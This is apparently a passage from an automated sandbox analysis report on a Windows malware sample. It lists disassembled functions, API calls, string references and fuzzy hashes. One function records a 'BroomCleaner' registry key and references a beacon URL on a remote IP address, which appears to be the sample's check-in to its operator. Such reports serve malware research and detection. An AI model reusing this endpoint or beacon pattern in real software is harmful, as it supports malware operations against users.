SetFileTime.KERNEL32(?,?,?,?), ref: 02E267DF
CloseHandle.KERNEL32(?), ref: 02E267EF

Strings

:, xrefs: 02E266C1

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: File$wsprintf$CloseCreateHandleTimeWrite
String ID: :
API String ID: 1593831391-336475711
Opcode ID: ec5f95bb333813d9d8c4ed4ec94f4e4ebe5a3a9a26fe27bcaa81da3e98aa5c63
Instruction ID: da6a56cf5ad331371e603eb85966ae708ccc9619969b995341e413e45df04a8b
Opcode Fuzzy Hash: ec5f95bb333813d9d8c4ed4ec94f4e4ebe5a3a9a26fe27bcaa81da3e98aa5c63
Instruction Fuzzy Hash: 04612770580268DBDB35CF24D884BE977BEAF05308F04A6A9E59B87190D7709A8ECF50

Uniqueness

Uniqueness Score: -1.00%

Function 004168CF Relevance: 12.2, APIs: 8, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,0040F8E0,0040F8E0,?,?,?,00416B20,00000001,00000001,FCE85006), ref: 00416929
__alloca_probe_16.LIBCMT ref: 00416961
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,00416B20,00000001,00000001,FCE85006,?,?,?), ref: 004169AF
__alloca_probe_16.LIBCMT ref: 00416A46
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,FCE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00416AA9
__freea.LIBCMT ref: 00416AB6

Part of subcall function 00417BD5: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0041B65D,00000000,?,00410F7E,?,00000008,?,00411B29,?,?,?), ref: 00417C07

__freea.LIBCMT ref: 00416ABF
__freea.LIBCMT ref: 00416AE4

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 3864826663-0
Opcode ID: fa39f3c9b9917c34eb5bbf57d6dcdaeb56b4715fc25a7891379195bbed9c685d
Instruction ID: 34746772eeaf9441bcd24ac3b7c9564225ed57ed2e896f321e16a1b87e353f33
Opcode Fuzzy Hash: fa39f3c9b9917c34eb5bbf57d6dcdaeb56b4715fc25a7891379195bbed9c685d
Instruction Fuzzy Hash: 2E51E672610216ABDB259F65CC81EFF77A9EF41794F16822EFC05E6240DB38DC80C698

Uniqueness

Uniqueness Score: -1.00%

Function 02E1F2FE Relevance: 10.7, APIs: 7, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 02E1F36D
_free.LIBCMT ref: 02E1F37B
_free.LIBCMT ref: 02E1F4A9
_free.LIBCMT ref: 02E1F4B4

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f14cd2d7f6fe312df7067425378df9d6527cb74677cee66ddcdebed07f2a9454
Instruction ID: 0c1bd38fc7002e58e1aa6ae6b68e06ea98caa355670651d7c58a507a66f75c27
Opcode Fuzzy Hash: f14cd2d7f6fe312df7067425378df9d6527cb74677cee66ddcdebed07f2a9454
Instruction Fuzzy Hash: 6061C171D80305EFDB20DF68C842B9ABBF5FF44724F14917AE955EB650DB30A9418B90

Uniqueness

Uniqueness Score: -1.00%

Function 0041F097 Relevance: 10.7, APIs: 7, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0041F106
_free.LIBCMT ref: 0041F114
_free.LIBCMT ref: 0041F242
_free.LIBCMT ref: 0041F24D

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f34bd336c8d820925dc8f874097727af9af0d404f89e1342c46daef6e7400ea5
Instruction ID: cfe1bac3c32ecbd802ae40d477e48998dbf4e1276bd1d9960109170aa1fc092f
Opcode Fuzzy Hash: f34bd336c8d820925dc8f874097727af9af0d404f89e1342c46daef6e7400ea5
Instruction Fuzzy Hash: 9E61B075900205AFDB20CFA5D841BDABBF4EF09724F2441BBEC44EB242E7759D868B58

Uniqueness

Uniqueness Score: -1.00%

Function 0041475C Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00417BD5: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0041B65D,00000000,?,00410F7E,?,00000008,?,00411B29,?,?,?), ref: 00417C07

_free.LIBCMT ref: 00414867
_free.LIBCMT ref: 0041487E
_free.LIBCMT ref: 0041489D
_free.LIBCMT ref: 004148B8
_free.LIBCMT ref: 004148CF

Strings

+?A, xrefs: 0041478C, 0041490E

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: _free$AllocateHeap
String ID: +?A
API String ID: 3033488037-2455513897
Opcode ID: ccb4f83563b771c88b3457656d4e7cb34a53473703ec84ab513bfed434950682
Instruction ID: a2ffc1073aeb95db07db01240e65a460facd67786bdb16e26198301da24dc7b3
Opcode Fuzzy Hash: ccb4f83563b771c88b3457656d4e7cb34a53473703ec84ab513bfed434950682
Instruction Fuzzy Hash: DA51E375A00204AFDB20EF6AC841BAA77F4EF88728F14056FE809D7250E739DD81CB58

Uniqueness

Uniqueness Score: -1.00%

Function 02E15E0A Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,02E1657F,?,?,?,?,?,?), ref: 02E15E4C
__fassign.LIBCMT ref: 02E15EC7
__fassign.LIBCMT ref: 02E15EE2
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,?,00000005,00000000,00000000), ref: 02E15F08
WriteFile.KERNEL32(?,?,00000000,02E1657F,00000000,?,?,?,?,?,?,?,?,?,02E1657F,?), ref: 02E15F27
WriteFile.KERNEL32(?,?,00000001,02E1657F,00000000,?,?,?,?,?,?,?,?,?,02E1657F,?), ref: 02E15F60

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 8cecd2ae47aec24500f3f29768b9891de4df36b3d959552ca06b1b4389e23f83
Instruction ID: 039b091dacb7e9543150b3376f259722311028f2939cc71808ed5beb7a8b2090
Opcode Fuzzy Hash: 8cecd2ae47aec24500f3f29768b9891de4df36b3d959552ca06b1b4389e23f83
Instruction Fuzzy Hash: 7B51D1B0E002099FDB10CFA9DC84AEEBBF8EF4D304F14916AE991E7251E7709945CB61

Uniqueness

Uniqueness Score: -1.00%

Function 00415BA3 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,00416318,?,?,?,?,?,?), ref: 00415BE5
__fassign.LIBCMT ref: 00415C60
__fassign.LIBCMT ref: 00415C7B
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,?,00000005,00000000,00000000), ref: 00415CA1
WriteFile.KERNEL32(?,?,00000000,00416318,00000000,?,?,?,?,?,?,?,?,?,00416318,?), ref: 00415CC0
WriteFile.KERNEL32(?,?,00000001,00416318,00000000,?,?,?,?,?,?,?,?,?,00416318,?), ref: 00415CF9

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: bf5cdba94b86ef11766df715d88b129408672cb1a0f0a67a40bbdb5037677c64
Instruction ID: ba37a65de52cb4856a4ad3cd0077dbe3cfab012c381db90eb3dfd87d974d1d9a
Opcode Fuzzy Hash: bf5cdba94b86ef11766df715d88b129408672cb1a0f0a67a40bbdb5037677c64
Instruction Fuzzy Hash: 5C51C7B1E00609DFDB10CFA8D885AEEBBF4EF49300F14456BE951E7251E7349981CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040C840 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0040C86B
___except_validate_context_record.LIBVCRUNTIME ref: 0040C873
_ValidateLocalCookies.LIBCMT ref: 0040C901
__IsNonwritableInCurrentImage.LIBCMT ref: 0040C92C
_ValidateLocalCookies.LIBCMT ref: 0040C981

Strings

csm, xrefs: 0040C916

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: eafe928d381c72228c4249f76181f7a8530329d9bc77aefb69ef326c6a3f27c4
Instruction ID: 4027eca0982afe7f58dc68dccad5ce1b38149b5f8c984788c175b023c756af20
Opcode Fuzzy Hash: eafe928d381c72228c4249f76181f7a8530329d9bc77aefb69ef326c6a3f27c4
Instruction Fuzzy Hash: 9341B475E00208DBCF10EF69C880A9E7BB5AF44314F14827BE815BB3D2D7399905CB99

Uniqueness

Uniqueness Score: -1.00%

Function 02E01417 Relevance: 10.6, APIs: 7, Instructions: 105COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02E0141C
std::_Lockit::_Lockit.LIBCPMT ref: 02E0142E
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 02E0146B

Part of subcall function 02E0817A: _Yarn.LIBCPMT ref: 02E08199
Part of subcall function 02E0817A: _Yarn.LIBCPMT ref: 02E081BD

std::bad_exception::bad_exception.LIBCMT ref: 02E0148C
__CxxThrowException@8.LIBVCRUNTIME ref: 02E0149A
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 02E014BD
std::_Lockit::~_Lockit.LIBCPMT ref: 02E0152E

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: std::_$Locinfo::_LockitYarn$Exception@8H_prologLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_Throwstd::bad_exception::bad_exception
String ID:
API String ID: 835844855-0
Opcode ID: 64136eb6d4118945a1839b7f9d6d6ff8514485ad19146d4252662278863fd6e4
Instruction ID: 7ef9a55e0fcc5251e0b248e089629168084fc70b9858eedd516e08bf9c4fe68a
Opcode Fuzzy Hash: 64136eb6d4118945a1839b7f9d6d6ff8514485ad19146d4252662278863fd6e4
Instruction Fuzzy Hash: D731D331840B50DEC7369F19D84066AFBF1FF58714B10CA2FE09E86A90C774A582CF58

Uniqueness

Uniqueness Score: -1.00%

Function 02E29E1F Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 85registryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02E29E24
RegCreateKeyExA.ADVAPI32(80000001,SOFTWARE\BroomCleaner,00000000,00000000,00000000,000F003F,00000000,?,00000000,Installed,00440E40,SOFTWARE\BroomCleaner), ref: 02E29E4C
RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?,?,00440E40,00440E41,Installed,Installed), ref: 02E29ECF
RegCloseKey.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,185.172.128.90,/cpa/ping.php?substr=%s&s=ab&sub=%s,?), ref: 02E29EF0

Strings

SOFTWARE\BroomCleaner, xrefs: 02E29E2C, 02E29E3F
Installed, xrefs: 02E29E2E, 02E29E5C, 02E29E7B, 02E29E7C

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: CloseCreateH_prologValue
String ID: Installed$SOFTWARE\BroomCleaner
API String ID: 1996196666-529226407
Opcode ID: 9f9eb2820dfc86a9c32d6a1c31d10a3e4204866c8ab4715cf7f5cb986b6d02da
Instruction ID: b127acc497f0fa63de84e76847baa6c74057507cdbc1fd5399f5b9730cdfffa1
Opcode Fuzzy Hash: 9f9eb2820dfc86a9c32d6a1c31d10a3e4204866c8ab4715cf7f5cb986b6d02da
Instruction Fuzzy Hash: 3B318971A40229EFDB159FA8CC94AFEBBB9FB44318F14912DE902B3241C7711D4ACB60

Uniqueness

Uniqueness Score: -1.00%

Function 00422A68 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 238583628928aeaa2d8ea3ddeb949281f333d63b13dcaea96e56a26ca6c9a76d
Instruction ID: 73f0e21c76019362ea8dcd7841d9a99d024cad43ff4458c52a31a68b6a92017f
Opcode Fuzzy Hash: 238583628928aeaa2d8ea3ddeb949281f333d63b13dcaea96e56a26ca6c9a76d
Instruction Fuzzy Hash: 6411EB72704225BFEB316F76AD49D9F3F68DF86364750412AF811D7241DE7C8841C2A8

Uniqueness

Uniqueness Score: -1.00%

Function 02E1F7D3 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 02E1F51A: _free.LIBCMT ref: 02E1F543

_free.LIBCMT ref: 02E1F821

Part of subcall function 02E16691: HeapFree.KERNEL32(00000000,00000000,?,02E1F548,?,00000000,?,00000000,?,02E1F7EC,?,00000007,?,?,02E1FBE0,?), ref: 02E166A7
Part of subcall function 02E16691: GetLastError.KERNEL32(?,?,02E1F548,?,00000000,?,00000000,?,02E1F7EC,?,00000007,?,?,02E1FBE0,?,?), ref: 02E166B9

_free.LIBCMT ref: 02E1F82C
_free.LIBCMT ref: 02E1F837
_free.LIBCMT ref: 02E1F88B
_free.LIBCMT ref: 02E1F896
_free.LIBCMT ref: 02E1F8A1
_free.LIBCMT ref: 02E1F8AC

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6f5f9210e66ecb300b20def578b7e57a4e9d6a14b2db5b2a678dd4c5c189928c
Instruction ID: ddb4a612f1097b1957cba802651ecf86b875613a1860c68507b403e3abaf7b7d
Opcode Fuzzy Hash: 6f5f9210e66ecb300b20def578b7e57a4e9d6a14b2db5b2a678dd4c5c189928c
Instruction Fuzzy Hash: 67112C72584B04FADA32BFB0DC45FCBB7DFAF00701F409839BA9AA6450DA65B9144A91

Uniqueness

Uniqueness Score: -1.00%

Function 0041F56C Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041F2B3: _free.LIBCMT ref: 0041F2DC

_free.LIBCMT ref: 0041F5BA

Part of subcall function 0041642A: RtlFreeHeap.NTDLL(00000000,00000000,?,0041F2E1,?,00000000,?,00000000,?,0041F585,?,00000007,?,?,0041F979,?), ref: 00416440
Part of subcall function 0041642A: GetLastError.KERNEL32(?,?,0041F2E1,?,00000000,?,00000000,?,0041F585,?,00000007,?,?,0041F979,?,?), ref: 00416452

_free.LIBCMT ref: 0041F5C5
_free.LIBCMT ref: 0041F5D0
_free.LIBCMT ref: 0041F624
_free.LIBCMT ref: 0041F62F
_free.LIBCMT ref: 0041F63A
_free.LIBCMT ref: 0041F645

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6f5f9210e66ecb300b20def578b7e57a4e9d6a14b2db5b2a678dd4c5c189928c
Instruction ID: ee9ff9fc193a9da61eff0686aea17c5869104ece10b6895a1698bee37083d468
Opcode Fuzzy Hash: 6f5f9210e66ecb300b20def578b7e57a4e9d6a14b2db5b2a678dd4c5c189928c
Instruction Fuzzy Hash: 87114272950B04A6D520B7B2DD07FCB7BDCAF0470CF40482EBE9A66052D67EB9C9465C

Uniqueness

Uniqueness Score: -1.00%

Function 02E04489 Relevance: 10.6, APIs: 7, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02E0448E
std::_Lockit::_Lockit.LIBCPMT ref: 02E0449D
int.LIBCPMT ref: 02E044B4

Part of subcall function 02E0157F: std::_Lockit::_Lockit.LIBCPMT ref: 02E01590
Part of subcall function 02E0157F: std::_Lockit::~_Lockit.LIBCPMT ref: 02E015AA

std::locale::_Getfacet.LIBCPMT ref: 02E044BD
std::_Facet_Register.LIBCPMT ref: 02E044EE
std::_Lockit::~_Lockit.LIBCPMT ref: 02E04504
__CxxThrowException@8.LIBVCRUNTIME ref: 02E0452A

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prologRegisterThrowstd::locale::_
String ID:
API String ID: 1202896665-0
Opcode ID: 52dc8715b2d3ce47bc50fe8cf4508daaa0163525050bb30950af3af032d28fc3
Instruction ID: 8936a72890ebb57c18a4fdbe6701a0edc4229975c494374c549b271d65a9f7e7
Opcode Fuzzy Hash: 52dc8715b2d3ce47bc50fe8cf4508daaa0163525050bb30950af3af032d28fc3
Instruction Fuzzy Hash: E5115772D801288BCB00EBE4D980AEDB776EF50314F109419F9057B2D0DB349E86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00404222 Relevance: 10.6, APIs: 7, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00404227
std::_Lockit::_Lockit.LIBCPMT ref: 00404236
int.LIBCPMT ref: 0040424D

Part of subcall function 00401318: std::_Lockit::_Lockit.LIBCPMT ref: 00401329
Part of subcall function 00401318: std::_Lockit::~_Lockit.LIBCPMT ref: 00401343

std::locale::_Getfacet.LIBCPMT ref: 00404256
std::_Facet_Register.LIBCPMT ref: 00404287
std::_Lockit::~_Lockit.LIBCPMT ref: 0040429D
__CxxThrowException@8.LIBVCRUNTIME ref: 004042C3

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prologRegisterThrowstd::locale::_
String ID:
API String ID: 1202896665-0
Opcode ID: 52dc8715b2d3ce47bc50fe8cf4508daaa0163525050bb30950af3af032d28fc3
Instruction ID: d614a7370cd87cf55d78a612cf9bcb9b4a7ee4259f3df63fdaa787e63916358b
Opcode Fuzzy Hash: 52dc8715b2d3ce47bc50fe8cf4508daaa0163525050bb30950af3af032d28fc3
Instruction Fuzzy Hash: A011D0B2E042248BCB14EBA4D806AAE7774EF94314F10406FF915772D2DB38AE0587A9

Uniqueness

Uniqueness Score: -1.00%

Function 02E0385C Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02E03861
std::_Lockit::_Lockit.LIBCPMT ref: 02E03870
int.LIBCPMT ref: 02E03887

Part of subcall function 02E0157F: std::_Lockit::_Lockit.LIBCPMT ref: 02E01590
Part of subcall function 02E0157F: std::_Lockit::~_Lockit.LIBCPMT ref: 02E015AA

std::locale::_Getfacet.LIBCPMT ref: 02E03890
std::_Facet_Register.LIBCPMT ref: 02E038C1
std::_Lockit::~_Lockit.LIBCPMT ref: 02E038D7
__CxxThrowException@8.LIBVCRUNTIME ref: 02E038FD

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prologRegisterThrowstd::locale::_
String ID:
API String ID: 1202896665-0
Opcode ID: d9c973919956d29dd20ef34ad0cda29a601bf32871607edd5cccfabfe631050a
Instruction ID: 7d3b7fb59eaa0d7c5e67c8ccf124c819715d2a2d0ed929be7d2150b48288d95a
Opcode Fuzzy Hash: d9c973919956d29dd20ef34ad0cda29a601bf32871607edd5cccfabfe631050a
Instruction Fuzzy Hash: 6D113A72D802289BCB00EB94C884BEDB776FF44314F14959AF415AB2D0CB349D46CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02E03651 Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 02E03656
std::_Lockit::_Lockit.LIBCPMT ref: 02E03665
int.LIBCPMT ref: 02E0367C

Part of subcall function 02E0157F: std::_Lockit::_Lockit.LIBCPMT ref: 02E01590
Part of subcall function 02E0157F: std::_Lockit::~_Lockit.LIBCPMT ref: 02E015AA

std::locale::_Getfacet.LIBCPMT ref: 02E03685
std::_Facet_Register.LIBCPMT ref: 02E036B6
std::_Lockit::~_Lockit.LIBCPMT ref: 02E036CC
__CxxThrowException@8.LIBVCRUNTIME ref: 02E036F2

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prologRegisterThrowstd::locale::_
String ID:
API String ID: 1202896665-0
Opcode ID: 60a83ce954c30a26b0a891509586a754a738e60fb672e4371474efbff15dbdd8
Instruction ID: ee046ec1132628f6bec9e3636cfbe6ec3b156fb497684ebe0b8ca7d060e8fd5b
Opcode Fuzzy Hash: 60a83ce954c30a26b0a891509586a754a738e60fb672e4371474efbff15dbdd8
Instruction Fuzzy Hash: C211E772D802289BCB10EBE4E884BEDB776EF45354F149569F815AB2D0CB349D86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 004033EA Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004033EF
std::_Lockit::_Lockit.LIBCPMT ref: 004033FE
int.LIBCPMT ref: 00403415

Part of subcall function 00401318: std::_Lockit::_Lockit.LIBCPMT ref: 00401329
Part of subcall function 00401318: std::_Lockit::~_Lockit.LIBCPMT ref: 00401343

std::locale::_Getfacet.LIBCPMT ref: 0040341E
std::_Facet_Register.LIBCPMT ref: 0040344F
std::_Lockit::~_Lockit.LIBCPMT ref: 00403465
__CxxThrowException@8.LIBVCRUNTIME ref: 0040348B

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prologRegisterThrowstd::locale::_
String ID:
API String ID: 1202896665-0
Opcode ID: 60a83ce954c30a26b0a891509586a754a738e60fb672e4371474efbff15dbdd8
Instruction ID: 6d79d992d72cf66c077ad575d0c12e30f6858461987801d76d7748b4fdd760c0
Opcode Fuzzy Hash: 60a83ce954c30a26b0a891509586a754a738e60fb672e4371474efbff15dbdd8
Instruction Fuzzy Hash: F711B272D001289BCB15EFA4D815AAE7B78EF84314F10457EE911772D1DB78AE048BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004035F5 Relevance: 10.6, APIs: 7, Instructions: 57COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 004035FA
std::_Lockit::_Lockit.LIBCPMT ref: 00403609
int.LIBCPMT ref: 00403620

Part of subcall function 00401318: std::_Lockit::_Lockit.LIBCPMT ref: 00401329
Part of subcall function 00401318: std::_Lockit::~_Lockit.LIBCPMT ref: 00401343

std::locale::_Getfacet.LIBCPMT ref: 00403629
std::_Facet_Register.LIBCPMT ref: 0040365A
std::_Lockit::~_Lockit.LIBCPMT ref: 00403670
__CxxThrowException@8.LIBVCRUNTIME ref: 00403696

Memory Dump Source

Source File: 00000000.00000002.1982621477.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_H6ohQMZygb.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_GetfacetH_prologRegisterThrowstd::locale::_
String ID:
API String ID: 1202896665-0
Opcode ID: d9c973919956d29dd20ef34ad0cda29a601bf32871607edd5cccfabfe631050a
Instruction ID: f8443fa0b937bcbc18cccd970f499801ac51b64ff929353b7c73f6055b2f3996
Opcode Fuzzy Hash: d9c973919956d29dd20ef34ad0cda29a601bf32871607edd5cccfabfe631050a
Instruction Fuzzy Hash: DC11B272E001249BCB14EFA5C805AAE7B78EF44315F10456FF921773D1DB38AA058B99

Uniqueness

Uniqueness Score: -1.00%

Function 02E16B36 Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,?,?,?,?,?,02E16D87,00000001,00000001,?), ref: 02E16B90
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,02E16D87,00000001,00000001,?,?,?,?), ref: 02E16C16
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,?,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 02E16D10
__freea.LIBCMT ref: 02E16D1D

Part of subcall function 02E17E3C: RtlAllocateHeap.NTDLL(00000000,00000000), ref: 02E17E6E

__freea.LIBCMT ref: 02E16D26
__freea.LIBCMT ref: 02E16D4B

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: d6f5c9dabcbb0772f091edb2a0306d679fbd99f1c8bb48f567e6fa2989845f9d
Instruction ID: 79e83c86a28cded568a429f8ced7d97a72e331f9c5266047a046fc9f65bd6a09
Opcode Fuzzy Hash: d6f5c9dabcbb0772f091edb2a0306d679fbd99f1c8bb48f567e6fa2989845f9d
Instruction Fuzzy Hash: 5E51A372680216ABDB259F65CC80EAB7BAEEB45758F16D638FC05D7180DB34DC50CA90

Uniqueness

Uniqueness Score: -1.00%

Function 02E11E75 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 02E11EA1
__cftoe.LIBCMT ref: 02E11ED3

Memory Dump Source

Source File: 00000000.00000002.1985710852.0000000002E00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2e00000_H6ohQMZygb.jbxd

Yara matches

Similarity

API ID: __cftoe
String ID:
API String ID: 4189289331-0
Opcode ID: 5caa3b2ec9d7e7a512d0df25e581f30353b4115a86f1ef70c9cf4454ff7be6f0
Instruction ID: c44f7233f32311682b9bcf8776ba116d390176d6b7583b4ec1d36d12ab14f039
